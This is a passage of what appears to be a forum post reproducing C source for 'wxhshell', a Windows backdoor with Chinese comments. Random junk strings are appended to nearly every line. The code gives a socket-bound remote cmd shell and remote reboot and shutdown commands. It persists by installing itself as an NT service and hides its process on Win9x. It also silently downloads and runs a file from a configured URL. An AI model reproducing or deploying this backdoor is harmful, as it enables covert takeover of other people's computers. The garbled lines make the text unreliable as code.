  FPI;Jx6W'  
  // 帮助 #Av.iAs  
  case '?': { (B_\TdQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &n?^$LTPY  
    break; Upd3-2kr&J  
  } rKf-+6Na  
  // 安装 `~;rblo;  
  case 'i': { Dzs[GAQ]  
    if(Install()) 9Z'8!$LYg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nwaxz>;  
    else [7S} g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ux3<l+jv^  
    break; ugx%_x6  
    } GF%314Xu  
  // 卸载 q]N:Tpm9  
  case 'r': { $3uKw!z  
    if(Uninstall()) )Ocl=H|=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c#]q^L\x  
    else A\#P*+k0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (BfgwC)  
    break; IGFR4+  
    } L^4-5`gj  
  // 显示 wxhshell 所在路径 'ao"9-c  
  case 'p': { 1, ~SS  
    char svExeFile[MAX_PATH]; !G}+E2fDA  
    strcpy(svExeFile,"\n\r"); [.*;6y3  
      strcat(svExeFile,ExeFile); %T9  sz4V  
        send(wsh,svExeFile,strlen(svExeFile),0); D"ehWLj  
    break; F]t (%{#W  
    } ]t*[%4  
  // 重启 (N=5 .7"T  
  case 'b': { &o97u4xi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lF?tQB/a  
    if(Boot(REBOOT)) {$^DMANDx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -,{-bi  
    else { ^ Dt#$Z  
    closesocket(wsh); Css l{B  
    ExitThread(0); u=/CRjot  
    } _fP&&}  
    break; ]a3iEA2 (  
    } mA@Me7m}  
  // 关机 zf>5,k'x'A  
  case 'd': { {; >Q.OX@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 13&0rLS  
    if(Boot(SHUTDOWN)) "y<?Q}1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ y{Tn@7  
    else { %-AE]-/HI  
    closesocket(wsh); fiN3xP]V  
    ExitThread(0); W|,V50K  
    } &"mzwQX  
    break; JQ-gn^tsy  
    } w7n373y%  
  // 获取shell 'vaLUy9]  
  case 's': { d'Axum@  
    CmdShell(wsh); @M8|(N%  
    closesocket(wsh); O8W7<Wc |z  
    ExitThread(0); H7k PM[  
    break; 2{.QjYw^  
  } z|(+|pV(  
  // 退出 nbTVU+  
  case 'x': { ) (Tom9 ^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "A)( "  
    CloseIt(wsh); ,mL !(US  
    break; 34R!x6W0  
    } M}wXJ8aF?  
  // 离开 08m;{+|vY  
  case 'q': { K!mOr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UYtuED  
    closesocket(wsh); 7 #=}:3c  
    WSACleanup(); '2-oh  
    exit(1); 2.X"f  
    break; N9rBW   
        } 0G2g4DSKD  
  } ;|cTHGxbE  
  } ^U8r0]9  
N=)z  
  // 提示信息 pBC<u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h`}3h< 8  
} LN_OD5gZ  
  } 2w$t wW-  
0J8K9rP;z  
  return; nB ".'=  
} 7.+#zyF  
=4 X]gW  
// shell模块句柄 8Z2.`(3c[  
int CmdShell(SOCKET sock) -n? g~(/P  
{ :` $@}GI  
STARTUPINFO si; <[/%{sUNC  
ZeroMemory(&si,sizeof(si)); ? QDWuPhN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]fI/(e_U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7a$ G@  
PROCESS_INFORMATION ProcessInfo; ksjUr1o  
char cmdline[]="cmd"; 9><mp]E4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e|r0zw S  
  return 0; VRW] a  
} :Ld!mRZF  
m!OMrZ%)}  
// 自身启动模式 SgE/!+{  
int StartFromService(void) BXUF^Hj%  
{ KIVH!2q;  
typedef struct w h$jr{  
{ ,goBq3[%?  
  DWORD ExitStatus; I}Xg &-L  
  DWORD PebBaseAddress; ; W7Y2Md  
  DWORD AffinityMask; Y+/l X6'  
  DWORD BasePriority; )J3kxmlzQ  
  ULONG UniqueProcessId; ?&l)W~S  
  ULONG InheritedFromUniqueProcessId; b]]N{: I  
}   PROCESS_BASIC_INFORMATION; C6& ( c  
7XyOB+aQO  
PROCNTQSIP NtQueryInformationProcess; cUDgM  
DjW$?>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qU[O1bN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c~dM`2J,  
'?Iif#Z1  
  HANDLE             hProcess; 1:= `Y@.S  
  PROCESS_BASIC_INFORMATION pbi; $X+u={]  
czBi Dk4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pcu|k/tk  
  if(NULL == hInst ) return 0; ]R_G{%  
S9Yt1qb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); px9>:t[P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j:1uP^.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); | D.C!/69  
n!N\zx8  
  if (!NtQueryInformationProcess) return 0; /4joC9\AB  
8kW/DcLE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CM~MoV[k7e  
  if(!hProcess) return 0; "6I[4U"@  
9|!j4DS<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3^G96]E  
J^I7BsZ  
  CloseHandle(hProcess); 5z]\$=TE  
[l[{6ZXt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >v0:qN7|  
if(hProcess==NULL) return 0; (buw^ ,NwZ  
;WI]vn  
HMODULE hMod; mPmB6q%)]  
char procName[255]; Gz dgL"M[  
unsigned long cbNeeded; {:Vf0Mhb  
Z|`fHO3j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nN ~GP"}  
E5B8 Z?$a  
  CloseHandle(hProcess); & QY#3yj=  
FWTx&Ip  
if(strstr(procName,"services")) return 1; // 以服务启动 M@^U 0 ?  
'H=weH  
  return 0; // 注册表启动 ~5t?C<wo  
} o?!uX|Fy  
=FBIrw{w  
// 主模块 w4:<fnOM  
int StartWxhshell(LPSTR lpCmdLine) qB JRS'6'9  
{ E8tD)=1  
  SOCKET wsl; :k1$g+(lP  
BOOL val=TRUE; )bYez  
  int port=0; aW@oE ~`  
  struct sockaddr_in door; AA7#c7  
5V|tXsy:  
  if(wscfg.ws_autoins) Install(); HP$K.a7H  
j+1KNH  
port=atoi(lpCmdLine); oO:LG%q  
HtzMDGV<  
if(port<=0) port=wscfg.ws_port; M1uP\Sa  
!P"?  
  WSADATA data; ~.Q4c*_b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~N[|bPRmhE  
MYTS3(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U,3d) ]Zy&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sfC@*Y2XT  
  door.sin_family = AF_INET; d[U1.SNL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1b `G2?%  
  door.sin_port = htons(port); v>^jy8$  
6{^*JC5nj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oYq E*mA  
closesocket(wsl); Fd"WlBYy0  
return 1; aL$j/SC  
} s?<!&Y  
0=,'{Vz}A  
  if(listen(wsl,2) == INVALID_SOCKET) { T{~MiC6A  
closesocket(wsl); 0|Q.U  
return 1; L{K*~B-p  
} Y\>\[*.v  
  Wxhshell(wsl); 2;R/.xI6v  
  WSACleanup(); ;@'0T4Z&l  
x9\J1\  
return 0; U$EM.ot  
D JJZJ}7  
} XbXgU#%  
%o-jwr}O{  
// 以NT服务方式启动 165WO}(;/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T Xl\hL\+  
{ G,/Gq+WX  
DWORD   status = 0; 4I1K vN<A  
  DWORD   specificError = 0xfffffff; Zr R+QV  
Q^q=!/qQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a}GAB@YI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ebbe=4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DoTs9w|5  
  serviceStatus.dwWin32ExitCode     = 0; YrKFa%k  
  serviceStatus.dwServiceSpecificExitCode = 0; 6DO0zNTY  
  serviceStatus.dwCheckPoint       = 0; t*rp3BIG  
  serviceStatus.dwWaitHint       = 0; Obg@YIwn  
Xi*SDy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2:n|x5\H  
  if (hServiceStatusHandle==0) return; c_[ JjG^?P  
o[2Y;kP3*P  
status = GetLastError(); [5-!d!a|st  
  if (status!=NO_ERROR) =yo=q)W  
{ {!g?d<*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s V&`0N  
    serviceStatus.dwCheckPoint       = 0; taBO4LV  
    serviceStatus.dwWaitHint       = 0; >5df@_'  
    serviceStatus.dwWin32ExitCode     = status; <xC: Ant  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,$o-C&nC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S{Rh'x\B  
    return; h FDze  
  } 6O%=G3I  
oNrEIgaA(+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [gTQ-  
  serviceStatus.dwCheckPoint       = 0; \v.HG] /u  
  serviceStatus.dwWaitHint       = 0; my=*zziN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0U9+  
} 2}ag_  
kzW\z4f  
// 处理NT服务事件,比如:启动、停止 R+k=Ea&x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %{=4Fa(Jux  
{ %~ ;nlDw  
switch(fdwControl) jDFp31_X  
{ pFS F[9?e>  
case SERVICE_CONTROL_STOP: f*UBigk  
  serviceStatus.dwWin32ExitCode = 0; W&WB@)ie  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XlE$.  
  serviceStatus.dwCheckPoint   = 0; gjO *h3`  
  serviceStatus.dwWaitHint     = 0; q`h7H][(A  
  { sn2r >m3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (di)`D5Q  
  } a"MTQFm'  
  return; Cb+P7[X-  
case SERVICE_CONTROL_PAUSE: 1 VPg`+o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aS3P(s L  
  break; #}nBS-+  
case SERVICE_CONTROL_CONTINUE: LqMe'z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R>^5$[  
  break; U$MWsDn   
case SERVICE_CONTROL_INTERROGATE: N+ak[axN  
  break; 2K5}3<KD/  
}; %{7$ \|;J'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -t;?P2  
} ?S+/QyjcfJ  
2pVVoZV.<  
// 标准应用程序主函数 9)8*FahW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "4J?JR  
{ 1x^W'n,HtK  
H0 {Mlu9  
// 获取操作系统版本  pb,{$A  
OsIsNt=GetOsVer(); lqhHbB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O8!!UA8V  
)G}sb*+v?  
  // 从命令行安装 g{rt^B  
  if(strpbrk(lpCmdLine,"iI")) Install(); d@_'P`%-  
=>E44v  
  // 下载执行文件 H@VBP Q}Q  
if(wscfg.ws_downexe) { $Ui]hA-:?y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j 8~Gv=(h  
  WinExec(wscfg.ws_filenam,SW_HIDE); ][s*~VK;  
} .D>A'r8U  
#g5't4zqx  
if(!OsIsNt) { Zw3hp,P]  
// 如果时win9x,隐藏进程并且设置为注册表启动 D/+@d:-G  
HideProc(); W\d0  
StartWxhshell(lpCmdLine); #c8"  
} Br_3qJNVP  
else %D%e:se  
  if(StartFromService()) bQ${8ZO  
  // 以服务方式启动 n^g-`  
  StartServiceCtrlDispatcher(DispatchTable); <v1_F;{n  
else J tn&o"C  
  // 普通方式启动 V}3~7(   
  StartWxhshell(lpCmdLine); EbHUGCMO  
LIm$Wl1U  
return 0; +btP]?04  
}
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只看该作者 1 发表于: 2006-10-10
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